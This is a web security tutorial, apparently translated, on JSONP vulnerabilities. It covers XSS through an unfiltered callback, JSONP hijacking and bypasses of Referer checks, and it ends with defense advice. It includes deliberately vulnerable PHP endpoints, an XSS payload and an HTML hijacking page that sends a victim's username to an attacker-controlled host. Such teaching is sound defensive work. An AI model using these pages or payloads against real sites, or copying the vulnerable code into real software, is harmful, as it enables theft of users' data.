On cross domain vulnerabilities of JSONP

Posted by ash4u on Tue, 12 Oct 2021 02:12:01 +0200

On cross domain vulnerabilities of JSONP

CSRF (Cross site request forgery) is an attack method that hijacks the user to perform unintentional operations on the currently logged in Web application. Compared with XSS, XSS uses the trust of the website to the user, and CSRF uses the trust of the website to the user's Web browser.

When it comes to CSRF, many people may think of modifying personal data, authorized login and other attack scenarios. It can be found that these two scenarios are write CSRF vulnerabilities, and the more common read CSRF vulnerabilities are usually ignored. The mainstream are as follows

  • JSONP cross domain resource reading
  • CORS cross domain resource reading

When the server holding sensitive resource data has no verification request source, such as not strictly verifying the Referer or not having a token mechanism, it will lead to read CSRF vulnerabilities

Today, let's learn about one of the JSONP cross domain vulnerabilities

JSONP

As we know, the Same origin policy (SOP) is a kind of convention, which is the core and basic security function of the browser. Requesting resources from different domains is called "cross domain". In order to obtain resources across domains, JSONP is generated, that is, JSONP is a technical means for obtaining resources across domains

JSON with Padding (JSON with Padding) is a solution for cross domain resource requests based on JSON format. By filling in additional content, the JSON data is wrapped into a valid JavaScript statement that can run independently.

To obtain JSON data (getUsers.JSON) of b.com under a.com domain:

{"id" : "1","name" : "f4ke"}

Through the "Padding" of JSONP (filling is packaged into runnable js), the output of getUsers.JSON is:

callback({"id" : "1","name" : "f4ke"});

Its basic principle is to use the src attribute in the script element tag in HTML not affected by the homology strategy to remotely call JSON files to realize data transmission. The basic syntax of JSONP is: callback({"name":"alan", "msg":"success"})

Concrete implementation

jsonp.php, as the JSONP server resource, obtains the file and dynamically generates JSONP format data:

<?php
if(isset($_GET['callback'])){
	$callback = $_GET['callback'];
	print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

The client can use native js or jQuery to implement JSONP cross domain resource requests

Native JS

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JSONP Cross domain</title>
</head>
<body>
    <div id="here"></div>
    <script type="text/javascript">
    function callbackFunction(result, methodName)
    {
        var html = '<ul>';
        html += '<li>' + 'username: ' + result.username + '</li>';
        html += '<li>' + 'password: ' +result.password + '</li>';
        html += '</ul>';
        document.getElementById('here').innerHTML = html;
    }
    </script>
    <script type="text/javascript" src="http://www.php.com:8088/jsonp.php?callback=callbackFunction"></script>
</body>
</html>

jQuery

You can use $. getJSON, $. ajax, $. get, for example, $. ajax

<body>
<div id="here"></div>
<script>
    $.ajax({  
        type: "get",  //jsonp is a get request by default. Even if you write a post, it will be converted to get  
        async: false, // jsonp is false by default. Even if true is written, it will be converted to false  
        url: "http://www.php.com:8088/jsonp.php ", / / server address  
        // Data: {"code": "ca1405"}, / / input parameters  
        dataType: "jsonp", // jsonp calls fixed writing  
        jsonp: "callback", // The parameter name passed to the request handler or page to obtain the name of the jsonp callback function (generally, the default is: callback). That is, the callback part in? callback=xxx  
        // jsonpCallback:"flightHandler", / / the name of the custom jsonp callback function. The default is the random function name automatically generated by jQuery. You can also write "? ", jQuery will automatically process the data for you. That is, the xxx part in? callback=xxx  
        success: function(data){ // Method after successful call  
            var html = '<ul>';
            html += '<li>' + 'username: ' + data.username + '</li>';
            html += '<li>' + 'password: ' + data.password + '</li>';
            html += '</ul>';
            document.getElementById('here').innerHTML = html; 
        },  
        error: function(){  // Method after call failure  
            alert('error');  
        }  
    });  
</script>
</body>

127.0.0.1:12138 successfully cross domain request data resources to www.php.com:8088 through JSONP

JSONP cross domain vulnerability

JSONP cross domain vulnerabilities are mainly XSS and JSONP hijacking caused by Callback customization

XSS caused by Callback customization

In the JSONP cross domain, pass in the parameter of function name, such as callback, and then the JSONP server will dynamically generate a JSONP data response according to our parameter value. If the JSONP server does not handle the value of the callback parameter of the passed function name properly, such as the content type of the response package is not set correctly, and the user input parameters are not effectively filtered or escaped, XSS leakage will occur Generation of holes

Content type is not set and callback is not filtered

The JSONP server code jsonp.php is as follows:

<?php
if(isset($_GET['callback'])){
	$callback = $_GET['callback'];
	print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

By default, the scenario in which the content type is not set and the callback parameter is not filtered is the most basic and common scenario. This is the case for most XSS caused by JSONP on the Internet.

When the callback parameter value is callbackfunction < script > alert (2333) < / script >, a window will pop up, and the value of the response package is text/html when the content type is not set:

Content type not set but callback filtering

<?php
if(isset($_GET['callback'])){
	$callback = htmlspecialchars($_GET['callback']);
	$id = $_GET['id'];
	print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

It can be seen that the callback parameter avoids XSS after filtering with htmlspecialchars, but if the JSON data output part of the user's input content is not filtered and written to the XSS payload, as shown in the following figure, a window will pop up

Setting content type: application / JSON

The MIME media type of JSON text is application/json, and the default encoding is UTF-8. At the same time, this is also the recommended content type value set by the JSONP server, which is used to defend against XSS

Add the code to set the Header field directly from the jsonp.php code

<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
	$callback = htmlspecialchars($_GET['callback']);
	$id = $_GET['id'];
	print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

At this time, no matter whether you normally access or enter XSS payload, the page will not display the content:

However, JSONP data is returned normally when the browser views the original data. However, due to the content type setting of the response package, the browser js engine will not parse the content in the page:

JSONP hijacking

JSONP hijacking is a special CSRF attack to obtain sensitive data. In short, JSONP hijacking is to send the JSONP data obtained by the requesting JSONP server to the attacker's server to obtain JSONP sensitive information.

No Referer restrictions: stealing user information

We use the DoraBox range for demonstration

When you are logged in, click the JSONP hijacking option to see the returned user information

Construct jsonp_hijacking.html page and place it in the attacker's domain name www.php.com:8088

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>JSONP Hijack test</title>
	<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> 
</head>
<body>
	<script>
		function test(data){
            $.get('http://www.php.com:8088/index.html?value='+data.username);
			alert(JSON.stringify(data));
		}
	</script>
	<script src="http://dorabox.com:8066/csrf/jsonp.php?callback=test"></script>
</body>
</html>

Because JSONP server http://dorabox.com:8066/csrf/jsonp.php There is no restriction on referers, that is, when users are induced to access directly in the browser http://www.php.com:8088/jsonp_hijacking.html You can get the user information and send it to the attacker server www.php.com: 8088

There are Referer restrictions

When the JSONP server checks the Referer field, there are also some specific bypass methods

1. Empty Referer

Sometimes the JSONP server verifies the Referer, but does not verify the empty Referer. At this time, we can use the null Referer request to bypass it.

There are three ways to send a request for an empty Referer:

  • Using iframe tag + javascript pseudo protocol

  • Using meta tags

  • Request from HTTPS to HTTP

2. Referer filtering is not strict

Defense advice

  • If feasible, CORS is used to replace JSONP to realize cross domain function;
  • Apply CSRF defense measures to call JSON files: restrict referers, deploy one-time tokens, etc;
  • Strictly set content type and code (content type: application / JSON; charset = UTF-8);
  • Strictly filter the callback function name and the output of data in JSON;

reference resources

JSONP cross domain vulnerability summary

Topics: PHP Javascript JQuery Web Security jsonp